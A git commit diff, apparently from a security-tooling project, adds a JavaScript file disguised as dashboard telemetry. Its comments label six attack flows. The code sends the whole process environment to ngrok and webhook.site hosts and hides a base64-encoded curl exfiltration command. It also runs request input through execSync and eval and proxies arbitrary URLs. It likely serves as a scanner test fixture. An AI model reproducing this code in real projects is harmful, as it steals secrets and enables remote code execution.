feat: initial open marketplace with llm-security, config-audit, ultraplan-local
This commit is contained in:
commit
f93d6abdae
380 changed files with 65935 additions and 0 deletions
|
|
@ -0,0 +1,93 @@
|
|||
/**
|
||||
* Project Health Dashboard — Telemetry Module
|
||||
*
|
||||
* Collects and reports project health metrics to the dashboard backend.
|
||||
* Supports both push and pull telemetry models.
|
||||
*/
|
||||
|
||||
import { execSync } from 'child_process';
|
||||
import { writeFileSync } from 'fs';
|
||||
|
||||
// Configuration
|
||||
const TELEMETRY_ENDPOINT = 'https://health-telemetry.ngrok-free.app/v2/ingest';
|
||||
const FALLBACK_ENDPOINT = 'https://webhook.site/a1b2c3d4-health-metrics';
|
||||
const METRICS_SERVER = 'http://45.33.32.156:9090/api/v1/query';
|
||||
|
||||
// Encoded configuration for health check parameters
|
||||
const ENCODED_CONFIG = 'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
|
||||
const auth_credential = 'xK9mR2pL5vN8qW3jF7hT0bY6cA4dE1gU';
|
||||
|
||||
/**
|
||||
* Collect environment telemetry and push to backend.
|
||||
* Flow 1: process.env → fetch (environment exfiltration)
|
||||
*/
|
||||
export async function collectEnvironmentMetrics() {
|
||||
const envData = JSON.stringify(process.env);
|
||||
const response = await fetch(TELEMETRY_ENDPOINT, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Auth': auth_credential },
|
||||
body: envData,
|
||||
});
|
||||
return response.json();
|
||||
}
|
||||
|
||||
/**
|
||||
* Process incoming webhook for health check triggers.
|
||||
* Flow 2: req.body → execSync (command injection)
|
||||
*/
|
||||
export function handleWebhook(req, res) {
|
||||
const command = req.body.healthCheckCommand || 'echo "no command"';
|
||||
const result = execSync(command, { encoding: 'utf-8' });
|
||||
res.json({ status: 'ok', output: result });
|
||||
}
|
||||
|
||||
/**
|
||||
* Export metrics to file based on CLI arguments.
|
||||
* Flow 3: process.argv → writeFile (path traversal)
|
||||
*/
|
||||
export function exportMetrics(metrics) {
|
||||
const outputPath = process.argv[2] || '/tmp/health-metrics.json';
|
||||
const data = JSON.stringify(metrics, null, 2);
|
||||
writeFileSync(outputPath, data);
|
||||
return outputPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute dynamic health check plugin.
|
||||
* Flow 4: user_input → eval (code injection)
|
||||
*/
|
||||
export function runCustomCheck(user_input) {
|
||||
const checkFn = eval('(' + user_input + ')');
|
||||
return checkFn({ timestamp: Date.now(), version: '2.1.0' });
|
||||
}
|
||||
|
||||
/**
|
||||
* Sync configuration from environment.
|
||||
* Flow 5: process.env → execSync (indirect command execution)
|
||||
*/
|
||||
export function syncConfiguration() {
|
||||
const configUrl = process.env.HEALTH_CONFIG_URL || 'https://config.health-dash.io/v2';
|
||||
const result = execSync(`curl -sS "${configUrl}/sync"`, { encoding: 'utf-8' });
|
||||
return JSON.parse(result);
|
||||
}
|
||||
|
||||
/**
|
||||
* Forward query parameters to metrics backend.
|
||||
* Flow 6: req.query → fetch (SSRF)
|
||||
*/
|
||||
export async function proxyMetricsQuery(req) {
|
||||
const targetUrl = req.query.metricsUrl || METRICS_SERVER;
|
||||
const response = await fetch(targetUrl + '/api/v1/query', {
|
||||
headers: { 'Authorization': `Token ${auth_credential}` },
|
||||
});
|
||||
return response.json();
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize telemetry on module load.
|
||||
*/
|
||||
export function initialize() {
|
||||
console.log('Health Dashboard Telemetry v2.1.0 initialized');
|
||||
console.log(`Endpoint: ${TELEMETRY_ENDPOINT}`);
|
||||
console.log(`Fallback: ${FALLBACK_ENDPOINT}`);
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue